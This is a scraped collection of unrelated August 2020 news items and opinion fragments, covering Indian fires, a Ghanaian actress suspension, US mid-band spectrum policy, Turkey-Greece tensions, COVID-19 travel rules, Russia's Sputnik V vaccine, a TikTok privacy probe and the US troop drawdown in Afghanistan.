Gujarat state. Fires are common in buildings in India because of poor safety standards with inadequate fire extinguishers, smoke detectors and fire alarm systems. Copyright 2020 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Source: thewashingtonpost.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The Film Producers Association of Ghana (FIPAG) has indefinitely suspended Ghanaian actress Tracey Boakye. The announcement was made in a press release copied to the media and signed by James Aboagye, President of FIPAG. Tracey Boakye, in the last few days, clashed with popular musician MzBel on social media. Tracy, also a film producer, in several live videos on Instagram threw caution to the wind and used vulgar and unprintable words against MzBel. The statement states that Tracey Boakye is not supposed to take part in any activities during this period until the situation is reviewed. Read the full statement below: Our attention has been drawn to recent publications and circulation of videos social media pistons of vulgar and unprintable exchanges between Tracey Boakye a The contents at so bad and affront to our Ghanaian Cultures, Traditions, E Sensibilities. The Film Producers Association of Ghana (FIPAG) finds their actions vary regrettable especially that of Miss Tracey Boakye, who happens to be an actress and a Film Producer and therefore supposed to serve as a role model. The Film FIPAG wishes to render an unqualified apology to the general public and man Involved for her behaviour as that display of character does represent what the film industry stands for or wishes to propagate. We wish that Ghanaians will find a space in their hearts to forgive her. In view of this, FIPAG has immediately suspended miss Tracey Boakye indefinitely. She is not supposed to take part in any of the activities during this period until the situation is reviewed. Source: Ghanaweb.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Our Divisions Copyright 2021-22 DB Corp ltd., All Rights Reserved This website follows the DNPA Code of Ethics. August 10, 2020 Speech Department of Defense Statement on Mid-Band Spectrum Dana Deasy, Department of Defense Chief Information Officer Honorable Dana Deasy, Department of Defense Chief Information Officer, issued the following statement: The White House and the Department of Defense made a major announcement today regarding mid-band spectrum and I want to help explain how we got to where we are today. In mid-April, the White House and DoD met to discuss what could be done quickly to make more mid-band spectrum available for 5G in the 3 gigahertz band range, commonly known as mid-band, which is paramount to maintaining American leadership in 5G. As a result, the America's Mid-Band Initiative Team (AMBIT) was established and worked on an unprecedented 15-week schedule to make 100 megahertz (MHz) of contiguous mid-band spectrum available in the 3450-3550 MHz band for 5G by the end of the summer. Secretary of Defense Mark Esper led this initiative along with the leadership of the Office of Science and Technology Policy and the National Economic Council. DoD worked closely with the Services and leveraged technical work performed by the National Telecommunications and Information Administration (NTIA) to devise a spectrum sharing framework that supports industry's need for additional mid-band spectrum while protecting critical national security requirements. The 3450-3550 MHz band supports critical DoD radar operations including high-powered defense radar systems on fixed, mobile, shipborne, and airborne platforms. Capabilities for these systems include air defense, missile and gunfire control, counter-mortar, bomb scoring, battlefield weapon locations, air traffic control, and range safety. DoD established a working group that brought together 180 subject matter experts with ship, airborne, ground, electronic warfare, test and training expertise from Army, Navy, Marine Corps, Air Force, and the office of the Secretary of Defense. The White House Office of Science and Technology Policy provided external subject matter experts who were embedded with the DoD team. AMBIT leveraged NTIA's work that demonstrated sharing feasibility that Congress directed in the MOBILE NOW Act. With this additional 100 MHz, the U.S. now has a contiguous 530 megahertz of mid-band spectrum from 3450-3980 MHz to enable higher capacity 5G networks. The Federal Communications Commission will auction the spectrum after service rules are adopted. Through the hard work of the AMBIT, we expect these rules to be similar to AWS-3, where for the most part the spectrum will be available for commercial use without limits, while simultaneously minimizing impact to DoD operations. DoD is preparing a Spectrum Relocation Fund Transition Plan to allow for implementation of the sharing plan while minimizing risks to DoD operations. DoD is proud of the success of the AMBIT and is committed to working closely with industry after the FCC auction to ensure timely access to the band while protecting national security. https://dod.defense.gov/News/Speeches/Speech-View/Article/2307288 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address ANKARA/ATHENS Turkey will issue gas exploration and drilling licences in the eastern Mediterranean this month, its foreign minister said on Tuesday, further raising tensions with Greece, which said it would seek an emergency EU meeting to address the issue. The two NATO allies vehemently disagree about their overlapping claims on hydrocarbon resources in the eastern Mediterranean, based on conflicting views of how far their continental shelves extend in waters dotted with islands. On Monday, Turkey sent an exploration vessel into a disputed area, ending a brief period of calm brokered by Germany. Ankara said a maritime deal Greece signed with Egypt last week showed it could not trust Athens, and vowed to continue surveying waters that are also claimed by Greece and Cyprus. Foreign Minister Mevlut Cavusoglu said Ankara would issue new seismic exploration and drilling licenses by the end of August. Our determination is unfaltering here," he told reporters. We will not compromise in any way from this." Backing up Cavusoglus unyielding tone, Turkeys communications director Fahrettin Altun tweeted video footage of Turkish fighter jets, warships and exploration vessels deployed at sea. Every drop of our blue homeland is sacred," Altun tweeted, referring to a doctrine championed by recent Turkish naval commanders calling for Ankara to adopt a more muscular approach in its coastal waters. Turkey says it has the longest coastline in the eastern Mediterranean but that it is penned in to a narrow strip of coastal water by the presence of numerous small Greek islands close to its shore. Greece and other regional states cite a United Nations accord to support their maritime demarcations. ATHENS SEEKS EMERGENCY EU MEETING Greece will request an emergency meeting of the European Union foreign affairs council, the prime ministers office said, while Greek Foreign Minister Nikos Dendias urged Turkey to immediately leave the Greek continental shelf". Athens would defend its rights, he said. In a video call with military commanders, Turkish Defence Minister Hulusi Akar said Turkey had completed preparations to protect Turkish interests. The European Union, which has imposed an entry ban and asset freeze on two Turkish energy executives over previous Turkish exploration in disputed waters, called for dialogue. The latest developments are extremely worrying," European Commission foreign affairs spokesman Peter Stano said. The United States also appealed for a resumption of direct talks between Turkey and Greece, which Turkish presidential spokesman Ibrahim Kalin said had been under way for two months until they were broken off last week. The contacts had led to an understanding" between them, which was then scuppered by Thursdays announcement of the Greek-Egyptian deal, he said. The moment the accord with Egypt was announced, we received very clear orders from our president. Stop the talks," Kalin told broadcaster CNN Turk at the weekend. (Additional reporting by Ali Kucukgocmen and Daren Butler in Istanbul, Angeliki Koutantou in Athens, Humeyra Pamuk in Washington; Writing by Dominic Evans; Editing by Susan Fenton) Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Travelers from Hawaii, South Dakota and the Virgin Islands have now been ordered to quarantine for 14 days if they travel to New York. New Gov. Andrew Cuomo on Tuesday added the three regions to his list of 33 states and territories with high coronavirus infection rates that need to quarantine if they visit his state. Alaska, New Mexico, Ohio and Rhode Island have now been removed from the list due to declining infections. The quarantine order is part of a joint travel advisory with New Jersey and Connecticut to help curb the spread of COVID-19 in the tri-state area. Travelers from Hawaii, South Dakota and the Virgin Islands on Tuesday were ordered to quarantine for 14 days if they travel to New York. Alaska, New Mexico, Ohio and Rhode Island have now been removed from the list due to declining infections STATES ON NEW YORK'S QUARANTINE TRAVEL LIST Newly added: Hawaii South Dakota Virgin Islands Already on the list: Alabama Arkansas Arizona California Florida Georgia Iowa Idaho Illinois Indiana Kansas Kentucky Louisiana Maryland Minnesota Missouri Mississippi Montana North Carolina North Dakota Nebraska Nevada Oklahoma Puerto Rico South Carolina Tennessee Texas Utah Virginia Wisconsin Advertisement Travelers who are currently quarantining after visiting the four states that have now been removed from the list should still isolate for the full 14 days, Cuomo said. The restrictions are placed on a state or region if the seven-day rolling average of positive tests exceeds 10 per cent, or if the number of positive cases exceeds 10 per 100,000 residents. Hawaii has managed to keep the virus at bay for most of the summer, but new cases more than doubled last week to over 1,200. Governor David Ige said last week that he would be reinstating his own inter-island travel restrictions that require people to quarantine for 14 days in a bid to curb the spread. Hawaii currently has more than 3,400 in positive cases and 31 deaths. Its positive test rate is currently 8.5 percent, according to John Hopkins data. In South Dakota, new cases have increased for the third straight week. More than 100,000 motorcycle enthusiasts are expected to attend a 10-day annual rally in Sturgis that began on August 7. South Dakota currently has more than 9,600 cases and 146 deaths. The state's current positive test rate is 9.4 percent, according to John Hopkins. Cuomoa, a Democrat, started the travel ban list back in June as Sunbelt states started to see spikes in coronavirus infections as the pace of the outbreak started to accelerate. New York, which was the initial epicenter of the US outbreak, has maintained lower infection and deaths rates since hitting its peak in April. 'New York went from one of the worst situations in the country, to an example for the rest of the nation to follow,' Cuomo boasted on Tuesday. 'Our numbers continue to remain low and steady, which shows this virus will respond to an approach based on science, not politics. 'In order to protect this progress, we must keep up our efforts - we cannot go back to the hell we experienced a few months ago, which is why we are adding Hawaii, South Dakota and the Virgin Islands to the travel advisory.' The Grand Ducal Fire and Rescue Corps reported a number of incidents on Monday night, including three fires. In Itzig a fire broke out in a field on Rue des Champs around 7.15 pm. Hesperange and Moutfort fire fighters attended the scene. A forest fire took place in Rambrouch on Rue du Nord at 7.40pm. Local fire fighters were able to extinguish it. Around 9pm, a hedge caught fire in Pulvermuhl in Luxembourg City. Fire fighters from the capital dealt with the incident. Accidents At 5.20pm a car collided with a motorbike in Kaerjeng, injuring one person. Petange ambulance and Kaerjeng fire fighters assisted on the spot. Shortly after midnight, two cars crashed into one another in Differdange on Rue du Chemin de Fer. No one was hurt in the incident, dealt with by Sanem-Differdange fire fighters and Esch-sur-Alzette ambulance. A car came off the road between Schwebsange and Wintrange around 1.30am on Tuesday morning, leaving one person injured. Remich and Schengen emergency services were called to the scene. A seasonal lull in oil trading has kept price movements largely range-bound recently, but this can still change this week as OPEC and the International Energy Agency are due to release their latest monthly oil market reports that should offer a look into how oil markets have been doing. August is traditionally vacation time in much of the northern hemisphere, so trading in oil and oil derivatives last week was subdued, Reuters John Kemp noted in his regular column on trading. Yet seasonality was not the only factor. Lack of any clarity about future demand also played its part in dampening traders appetite for oil futures. Even so, oil prices had a strong start to the week after Saudi Aramco reported a positive net result for the second quarter and allocated a hefty dividend of $18.75 billion to its shareholders. The Saudi giant also signaled its optimism about demand, noting in its second-quarter financial report that it anticipated a strong demand recovery in Asia. Indeed, the start of this week also saw some good news from China: the latest factory activity data suggested industrial activity was closer to reaching pre-pandemic levels, which is always bullish for oil. In a further positive sign, the consumer price index also rose in China, although this was not entirely a result of consumers returning to their pre-pandemic spending habits but rather of higher prices driven by floods in China and the latest outbreak of swine flu. The rosy demand outlook, combined with Iraq saying it will cut production by a further 400,000 barrels a day to compensate overproduction over the past three months are overshadowing the stimulus deadlock in Washington, at least for now, City Index analyst Fiona Cincotta said in a note as quoted by MarketWatch on Monday. And yet the uncertainty surrounding the course of the coronavirus pandemic with all its adverse effects on any business activity continues to weigh on optimism, keeping any price gains modest. The United Statesthe worlds largest oil consumerhas come to account for a quarter of all cases globally, and deaths are rising although at a slower pace than earlier this year. In Europe, outbreaks are flaring up in many countries, causing a tightening of movement restrictions. Asia is also seeing flare-ups of infections. Related: Iranian Oil Exports Much Higher Than Official Data Suggests Against this backcloth, the earnings season among oil companies was pretty much as bad as expected. Most majors reported losses, everyone reported spending cuts, and many are planning changes to their business models in order to weather this particular crisis, which is proving itself to be a crisis like no other. All supermajors with the marked exception of Exxon revised the value of their assets after the devastating second quarter, indicating they expected a few more quarters of subdued oil prices, at least. Some, like BP, are even preparing for a lower-forever scenario and pivoting to low-carbon energy and LNG. And everyone is cutting their long-term oil price projection. Amid these revisions, Saudi Arabias oil giant said yesterday that it planned to increase its oil production capacity by another million barrels daily. The announcement could be an indication the Kingdom expects a strong rebound in oil demand and even growth in the observable future. This would suggest a marked departure from most of the industry, which is taking the cautious approach from here on out. Even with this caution, however, oil activity is also on the increase in the U.S. as well. The weekly frac spread count updates from Primary Vision that come out weekly show fracking activity was up from earlier this year despite a fall in the rig count. There is certainly reason for optimism, but then again, there is a reason for caution as well. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: Durham is an unincorporated community in Walker County, Ga., that is probably unknown to the majority of the public except for descendants of the miners and families that worked in the mines. Durham was first called Pittsburgh like so many other towns that intended to simulate the big steel metropolis in Pennsylvania. The name of the community changed to Durham after the mining area on Lookout Mountain was purchased by the Durham Iron and Coal Company. Originally the Cherokee Indians lived in this area but were driven out on the Trail of Tears in the late 1830's. This allowed industrialists to come into the rich coal mining region and to develop the resources. Black convicts provided much of the labor to extract the coal from the mines that had begun operating before the Civil War. When the mines were opened in 1891 foremen were hired to oversee the convicts. The prisoners lived in barracks and were kept under heavy guard night and day. The first load of coal from the Durham mines went on exhibition at the Georgia Avenue depot yard in Chattanooga on January 5, 1892. Originally the coal was hauled from the mines by mule-driven wagons to a winding precarious railroad constructed in that time frame. The Durham line crossed the Chattanooga Southern Railroad that went to Gadsden, Ala., and on to Chickamauga, Ga., where the Central of Georgia Railroad passed through. The coal was examined by coal dealers and manufacturers before it was transported by rail to Coalburn, Alabama, where it could be made into coke. With the discovery of vast deposits of bituminous coal, Durham eventually evolved into Durham Coal and Coke Company, a town with the company providing housing, company store, and company-built churches. By 1910 Durham had a butcher shop, a movie theatre, gambling hall, pool hall, barber shop, ice house and three boarding houses for the miners. Business was so brisk that newcomers had to wait six months for a company house to become vacant. The Durham post office was listed as Pittsburgh, Georgia and was in operation from 1900 until 1946. After the first shipment was made in 1892, the mining of coal continued on and off until the 1940s. The Chickamauga Coke Ovens are still present today just north of downtown Chickamauga on Georgia Highway 341. Twice a day trips were made hauling coal by the trains to the ovens where it would be burned at high temperatures without any oxygen present to remove the impurities from the coal. In order to make iron and steel, coke is necessary because it burns longer, hotter and steadier than coal and this was what the foundries needed in the Chattanooga market. By 1904 the Durham mines were producing 700 to 1,000 tons of Coke in the Chickamauga ovens every day with approximately one-fifth of the ore being manufactured into coke. This process continued operation into the Great Depression years when the large seam of coal eventually ran out. The railroad was abandoned in 1951 and the narrow iron rails on the Chickamauga and Durham line were taken up and the wooden trestles rotted. During the coal boom of the 1970s the ugly practice of strip mining was extracted from the area. While the rails were removed in 1952 a majority of the former right-of-way can still be traced although some of it has been encroached on and part of it goes through a private nature preserve. Eventually the right of way was given to Walker County but plans to build a walking trail from Chickamauga to Lula Falls were withdrawn because of opposition from land owners along the property. A one day trip to visit the Town of Chickamauga and the coke ovens can be an interesting and historical journey. * * * Jerry Summers (If you have additional information about one of Mr. Summers' articles or have suggestions or ideas about a future Chattanooga area historical piece, please contact Mr. Summers at jsummers@summersfirm.com Shawn Gray put on a driving clinic Monday afternoon at Plainridge Park, winning five of the 11 races on the card and posting a .694 universal driver rating for the day. Gray won the featured $10,000 condition pace for five-year-old and under fillies and mares with Mary Goodnight who took control in front of the stands going to the half. Mary Goodnight paced smartly to the three-quarters in 1:24 and opened up a two length advantage at the top of the stretch. From there she paced home unchallenged and stretched out to a 4-1/2 length win in 1:52.4. Mary Goodnight ($4.40) is owned by Joey McWhinnie and is trained by Scott Rollins. Gray also won the fastest $10,000 division for five-year-old and under male pacers with Sea Isle City in a career best effort. After taking the early lead, Sea Isle City eventually got shuffled back to fourth by the three-quarters. When the race reached the stretch, Gray was able to find racing room and shot Sea Isle City up the middle of the track and outpaced Spatterdash (Mike Stevenson) to the wire and won in 1:53, which was a new lifetime mark. Sea Isle City ($17.80) is owned by William and Barbara Ethier and is trained by Jamie Gerard. Gray rounded out his big day with wins behind All About Rusty (1:54.4, $5.60), Dreamzzzz R For U (1:54.1, $4.80) and Passport To Art (1:52.3, $3.20). Drivers Mitchell Cushing and Kevin Switzer, Jr. and trainers Alicia Gray and Jamie Gerard each had two wins apiece as well. Racing resumes at Plainridge Park on Thursday with post time at 4 p.m. (Standardbred Owners of Massachusetts) In April, Broadway actor Danny Burstein opened up about his experience as a sufferer of COVID-19 in a guest column for the Hollywood Reporter, and now, he's sharing a follow-up account with further details. The Tony nominee, 56, was in the hospital for nearly a week at the time, but his struggles continued upon returning home Danny's wife Rebecca Luker, also a decorated theater actress, subsequently became infected with the virus as well, he told The Hollywood Reporter. And further complicating matters is the fact that Luker, 59, suffers from the degenerative nervous disease ALS, also known as Lou Gehrig's disease. They're fighters: Broadway actor Danny Burstein previously shared his experience as a sufferer of COVID-19, and now, he's sharing a follow-up account with further details pertaining to his wife Rebecca Luker; seen together in June 2019 'I was recovering and Becca was just starting her own bout with the virus,' Burstein writes in the new column. 'No health care worker in their right mind would come to our home as we were both suffering with the aftereffects of the coronavirus. We were very much on our own,' he continued. 'The next month was spent pretty much alone in isolation. Despite being dizzy and in a constant state of exhaustion, I was somehow able to care for her.' 'I was recovering and Becca was just starting her own bout with the virus,' Burstein writes in his new column; seen here in January Danny also mentioned that their son Zach, 24, was not there to help as he had moved out of the family's New York City home in an effort to protect all those involved from potential infection. The six-time Tony nominee shared further details. 'I walked to the market at midnight every other night to shop for food when the store was fairly empty. Becca suffered through my terrible cooking. She sweetly never said anything bad about the experimental slop I threw in front of her at dinner.' On stage: The six-time Tony nominee shared further details about caring for his wife while recovering from COVID-19; seen in Moulin Rouge! The Musical in July 2019 Danny went on to share that thankfully, Rebecca's 'bout [with the virus] lasted only about a week,' involving 'three days of a mild fever and lost her sense of taste and smell, common symptoms of the illness, but was otherwise OK.' As for his own recovery, it was slow-going, with lingering symptoms as it has been for many survivors of COVID-19. 'It took me over two months before I could walk two or three blocks without feeling winded. I was terrified my lungs wouldn't recover. I feel it's a bit of a miracle that they have,' he shared. As for his own recovery: It was slow-going, with lingering symptoms as it has been for many survivors of COVID-19 And even though Danny and Rebecca have recovered from the virus, Burstein shared that unfortunately, his wife's underlying condition 'has been getting worse quite rapidly. 'Her shoulders went, seemingly overnight. And now her hands,' he shared, observing the eventual and inevitable paralysis that comes with ALS. 'Their shape has changed, especially the left. But the right one is starting to curl in the same unusual fashion. 'I try to stretch them back into a familiar position and she says it feels good, but they fall back into their new shape.' Screen performer: Even though Danny and Rebecca have recovered from the virus, Burstein shared that unfortunately, his wife's underlying condition 'has been getting worse quite rapidly'; Rebecca seen in NCIS: New Orleans opposite Lucas Black The thespian also expressed distress at the larger picture of the virus and its fallout, especially with regard to the theater community in New York City. 'Saddest of all, several dear friends have passed away, gutting me while also making me feel unbelievably grateful to be alive,' Danny wrote, referencing victims of the virus like fellow Broadway actor Nick Cordero, who died at age 41 last month after over 90 days in the hospital as a result of coronavirus complications. 'In the news, there are daily reminders of my hospital stay, and it hurts to hear about the rising numbers of deaths and positive tests.' As of now, the virus continues to surge in many parts of the United States as well as the world at large, with Broadway remaining dark at least through the rest of the year. Mukherjee was put on ventilator support on Monday after he underwent surgery to remove a clot in his brain. He had tested positive for COVID-19 prior to the surgery New Delhi: Former President Pranab Mukherjee on Monday underwent brain surgery at the Army's Research and Referral (R&R) hospital for removal of a clot, sources said. Mukherjee, who was unwell, was hospitalised on the advice of the doctors and had tested positive for COVID-19 prior to the surgery. "Former President Pranab Mukherjee underwent successful brain surgery for removal of a clot at the Army's R&R hospital," sources told PTI. "He is critical and is on ventilator support," the sources also said. Mukherjee, 84, said in a tweet in the morning, "On a visit to the hospital for a separate procedure, I have tested positive for COVID19 today." "I request the people who came in contact with me in the last week, to please self isolate and get tested for COVID-19," Mukherjee, who was the president from 2012 to 2017, said. Defence Minister Rajnath Singh visited the R&R Hospital and enquired about the former president''s health. Singh was at the hospital for around 20 minutes. The good news is that those opposing the killing are not the same people. The powerful but insulated Black rage that Eric saw up close twice before has expanded its geography, and leapt the usual bounds of demography. Thousands of white and other nonblack people got into in the streets, from Hollywood to other unlikely white places like Santa Monica and Glendale, embracing Black rage as valid: Instead of trying to minimize it or argue it down, they have claimed it as theirs. They have finally accepted the rage as both Black and American. This is a tremendous development in our story. After that disorienting day in West Hollywood (I wasnt ready for what I saw, Eric confessed to me later. Scared the hell out of me.) he told me he has emerged with a new kind of hope about the younger Black generation, something he hasnt felt in a long time. He admires this generations conviction, its determination to keep up pressure. Yet he continues to worry about the bigger political picture in which all this is happening. In his view, Things are going to get worse before they get better. He reminded me that its still unclear whether and how Derek Chauvin, the former Minneapolis police officer who killed Mr. Floyd, will be punished. That policeman hasnt been charged correctly, Eric said. What I saw was first-degree murder. What he means is that white participation in the protests has been encouraging and historic, but then there are white conservatives, the kind that enabled Mr. Trump and continue to support him on principle, the people whose movements Eric continues to chart with outrage and alarm. In short, there are still great forces arrayed against social equality, which Eric believes is the only thing that can make America whole. He has believed it since 1970, when he had a kind of post-60s epiphany about the meaning of racism, what it was really meant to quash not just fair voting practices or fair treatment by police, but a relationship between Black and white that is equal in the most mundane yet most profound ways. Social equality, Eric says, is our holy grail. Its possible, I told him, that 55 years after that first wake-up moment in Watts, enough of us in L.A. and far beyond are having the same epiphany. It just took time. Erin Aubry Kaplan is a contributing opinion writer. The Times is committed to publishing a diversity of letters to the editor. Wed like to hear what you think about this or any of our articles. Here are some tips. And heres our email: letters@nytimes.com. Follow The New York Times Opinion section on Facebook, Twitter (@NYTopinion) and Instagram. PARIS/ LUXEMBOURG : Frances privacy watchdog opened a probe into TikTok, marking another examination of ByteDance Ltd.s social media app, which is facing broader scrutiny of its privacy policies. A spokesman for Paris-based CNIL said the agency opened an investigation after receiving a complaint in May, but declined to give details about the grounds of the complaint or the timing on a ruling. The CNIL is particularly vigilant with regard to this company, particularly with regard to this complaint and questions and other complaints that the commission is likely to receive, the spokesman said. TikTok didnt immediately reply to a request for comment. In June, the European Unions data protection chiefs pledged to coordinate potential investigations into the Chinese company, after the Netherlandss data-protection commission said in May that it is looking into TikToks policies to protect childrens data. The UKs data watchdog also has a similar probe pending. TikTok is under increasing pressure in the US, too. President Donald Trump said he would ban the app best-known for lip-syncing videos on grounds it jeopardizes national security. Microsoft Corp. is in talks to acquire the operations of TikTok in the US Canada, Australia and New Zealand. The company has rejected claims that its controlled by the Chinese government or that user data is at risk. CNIL, which ordered Facebook Inc.s messaging service WhatsApp in 2017 to stop sharing user data with its parent without obtaining the necessary consent, also imposed a 50 million euro ($59 million) fine on Alphabet Inc.s Google for alleged violations of the EUs privacy rules. The 27-nation EU has some of the strictest data-protection laws in the world. The General Data Protection Regulation, or GDPR, gives EU authorities the power to fine companies as much as 4% of global annual sales for the most serious violations. Subscribe to Mint Newsletters * Enter a valid email * Thank you for subscribing to our newsletter. President Vladimir Putin said Russia cleared the worlds first Covid-19 vaccine for use and hopes to begin mass inoculation soon, even before clinical testing has finished. The first registration has taken place, Putin said Tuesday at a televised government meeting, adding that one of his daughters has already been given the vaccine. I hope that we can soon begin mass production. The move clears the way for widespread use of the vaccine among Russias population, with production starting next month, although it may take until January to complete trials. Medical workers could begin receiving the drug by the end of the month, Deputy Prime Minister Tatyana Golikova said at the meeting. The announcement represents a propaganda coup for the Kremlin amid a global race to develop vaccines against the coronavirus pandemic and accusations that Russian hackers sought to steal international drug research. The disease has killed nearly 750,000 people, infected more than 20 million and crippled national economies. Companies including AstraZeneca Plc and Moderna Inc. are still conducting final-stage trials of their vaccines in studies that are expected to soon yield results. Sputnik Comparison Russia indicated how it regards the development, naming the vaccine Sputnik V in a nod to the Soviet Unions achievement in launching the worlds first satellite into space in 1957. Yet the speed with which the vaccine has received regulatory approval has drawn criticism, with a local association of multinational pharmaceutical companies calling the rushed registration dangerous. This is a political decision by Putin so he can claim that Russia was the first in the race to develop a Covid-19 vaccine, said Svetlana Zavidova, executive director of Russias Association of Clinical Trials Organizations. I cant understand why Russia needs to build this Potemkin village. The vaccine is being developed by Moscows Gamaleya Institute and the Russian Direct Investment Fund, which have said it is undergoing Phase 3 trials, the final stage of testing during which it is given to thousands of people to determine its fitness for use. A World Health Organization database lists the vaccine as still only in Phase 1 testing, the earliest stage. RDIF chief Kirill Dmitriev dismissed criticism that the developers havent published peer-reviewed results to date during a press conference Tuesday. Test Data Following Russian regulations, they can publish it easier after the registration, Dmitriev said about data from the initial trials, adding that the results are incredibly impressive and will be published soon. RDIF will be able to produce more than 500 million doses a year in five countries, with mass immunizations in Russia planned to begin in October, Dmitriev said. RDIF plans to conduct Phase 3 clinical trials in Saudi Arabia, the United Arab Emirates, Brazil, India and the Philippines, according to the Sputnik V website. Mass production is lined up in India, South Korea, Brazil, Saudi Arabia, Turkey and Cuba, it said, with at least 20 countries interested in obtaining supplies. WHO spokesman Christian Lindmeier said last week that all vaccine candidates should adhere to established practices and finish clinical trials before being made widely available. The Russian candidate is a viral vector vaccine based on a human adenovirus a common cold virus fused with the spike protein of SARS CoV-2 to stimulate an immune response and is similar to one developed by Chinas CanSino Biologics. The news comes as Russia reported daily Covid-19 cases dipped below 5,000 for the first time since April 23, with the number of infections continuing a slow decline from its May peak. The seven-day moving average has fallen for the last 31 days, with new cases less than half of the 11,656 reported on May 11. Russia has nearly 900,000 people diagnosed with Covid-19, the fourth-most confirmed cases in the world. It had over 27,000 coronavirus-related deaths in the second quarter, according to Federal Statistics Service data published this week. An executive order or memorandum carries the force of law only if its based on power vested in the president by the U.S. Constitution or delegated to the president by Congress, according to the Congressional Research Service. Critics including House Speaker Nancy Pelosi say Trumps latest unilateral actions fail that test. (Pelosi called them absurdly unconstitutional.) But suing to stop Trumps actions would leave Democrats with a lot of explaining to do to Americans in need of the promised benefits, Treasury Secretary Steven Mnuchin said. Many of Trumps executive orders have faced challenges in the courts. His travel ban, for instance, had to be revised twice before it passed legal muster. Legal challenges aside, two of Trumps latest orders also require buy-in from states and employers, without whose participation they wont accomplish much. NEW YORK, Aug. 10, 2020 /PRNewswire/ -- WeissLaw LLP is investigating possible breaches of fiduciary duty and other violations of law by the board of directors of TransAtlantic Petroleum Ltd. ("TAT" or the "Company") (NYSE American: TAT) in connection with the proposed interested-party acquisition of the Company by TAT Holdco LLC, a group of investors that controls all of the Company's outstanding Series A preferred shares ("Preferred Shareholders"). Under the terms of the acquisition agreement, the Company's shareholders will receive only $0.13 in cash for each share of TAT common stock that they own. If you own TAT shares and wish to discuss this investigation or have any questions concerning this notice or your rights or interests, visit our website: http://www.weisslawllp.com/transatlantic-petroleum-ltd/ Or please contact: Joshua Rubin, Esq. WeissLaw LLP 1500 Broadway, 16th Floor New York, NY 10036 (212) 682-3025 (888) 593-4771 [email protected] WeissLaw is investigating whether the special committee of TAT's board was truly independent and acted to maximize shareholder value in agreeing to the proposed transaction, whether the special committee was fully informed as to the valuation of the proposed acquisition of the Company, and whether all information regarding the valuation of the deal will be fully and fairly disclosed to TAT shareholders. These issues are of particular concern given the influence and control the Preferred Shareholders can wield over TAT by virtue of their ownership of all of the Company's Series A preferred shares. Moreover, the per-share offer price is significantly lower than the analyst target price of $1.89, suggesting the special committee may have agreed to an undervalued deal at the behest of the Preferred Shareholders. WeissLaw LLP has litigated hundreds of stockholder class and derivative actions for violations of corporate and fiduciary duties. We have recovered over a billion dollars for defrauded clients and obtained important corporate governance relief in many of these cases. If you have information or would like legal advice concerning possible corporate wrongdoing (including insider trading, waste of corporate assets, accounting fraud, or materially misleading information), consumer fraud (including false advertising, defective products, or other deceptive business practices), or anti-trust violations, please email us at [email protected] SOURCE WeissLaw LLP Related Links http://weisslawllp.com The theatre community has come together to celebrate aspiring actor Lewis Sewell. Sewell has been performing for much of his life, having spent a decade with Derby Youth Choir and had been preparing for auditions at RADA, LAMDA, Central and Guildford when the coronavirus pandemic struck. With a passion for both musical theatre and natural plays, Sewell had performed in productions of Into the Woods, A Christmas Carol and more. He also appeared in a youth production of Laura Lomas's new piece The Blue Road, which ran at Derby Theatre in July 2017. Director at Derby Youth Theatre Nicky Bellenger said: Sewell is an "excellent actor, but also a great artistic collaborator, contributing ideas in the rehearsal process." She added: "Out of everything I have worked on over the last *cough* 11...ish years, I am most proud of your production of The Blue Road, and that's down to who you all were as a company." In October of last year, Sewell discovered he had a rare cancer and, recently, the decision was taken to cease treatment. Following a call-out from members of the theatre world on social media, Sewell has received messages from artists from across the West End and beyond including the likes of Ben Platt, Sam Tutty, Maxine Peake, Lin-Manuel Miranda, Benj Pasek and more. Sewell has also recently appeared on BBC Nottingham to share his story and his love for performance. Sewell's mother Gillian said: "Lewis is an incredible young man who was studying drama at college in Nottingham until October 2019 before a Metastatic Rhabdoid tumour took over his life. Despite chemo the tumour has continued to grow. The decision was taken only just over a week ago to stop any further treatment. "We are now doing everything we can to support Lewis in his last few days with his family. Lewis absolutely adores all musical theatre and his current favourites include Hamilton and Dear Evan Hansen. We are trying to get as many messages of love and support to Lewis as soon as possible because of the very short time left. Gillian Sewell reitterated that anyone wanting to get in touch with Lewis can do so: "If there is any way you could help get messages of support from actors, musicians or musical theatre people he would love to receive them. The timing right now is clearly urgent and would be very welcomed." Sewell has a Twitter page here. Alix-Manning-Jones, cultural education producer at Derby Theatre said: "My favourite memories were of you playing 'Dad' in our version of Romeo and Juliet when you were in 11-13s group. "That was 2016 and seems just 5 minutes ago since I was working with you on that stage in Derby Theatre. It's incredible to see how much you have grown into a talented young actor. Thank you for making our Sundays so bright, you will always shine Lewis: a true star." Sewell has asked for one of his monologues to be shared you can watch it below: It is no exaggeration to say that there is now no guaranteed safe place in Trinidad and Tobago. We have moved from the stage of being prisoners in our homes behind metal bars to being afraid to enjoy the beautiful outdoors and even to sleep, for fear that if crime comes knocking we may have no recourse but to cower and beg for our lives. The society is being overpowered by the force of the criminal will with insufficient resources to resist and break that power. The United States is counting on further military withdrawal from Afghanistan to potentially fewer than 5,000 troops as inter-Afghan peace talks progress, the Pentagon said Monday. Over the next four months, the United States will continue to drawdown its force levels in Afghanistan based on conditions in-country, the Department of Defense said in a statement. Our current trajectory expects to see the number of US service members in Afghanistan be below 5,000 by the end of November. As always, such drawdowns remain conditions-based and are implemented after consultation with Congress and in direct coordination with our NATO Allies and partners, the Pentagon added. The US military presence in Afghanistan remains focused on capabilities -- not numbers. The Pentagons statement was further clarification for statements by Defense Secretary Mark Esper, who appeared Saturday to announce an impending troop withdrawal. We are going down to a number less than 5,000 before the end of November, Esper said, adding that the Pentagon would first have to ensure that the US is not threatened by terrorists coming out of Afghanistan. US President Donald Trump during an interview with Axios last week also mentioned reaching 4,000 to 5,000 troops by the November presidential election. The US currently deploys 8,600 soldiers in Afghanistan, in accordance with a bilateral agreement signed February 29 in Doha between Washington and the Taliban. Under the agreement, all foreign troops must leave Afghanistan by the spring of 2021, in exchange for security commitments from the militants. 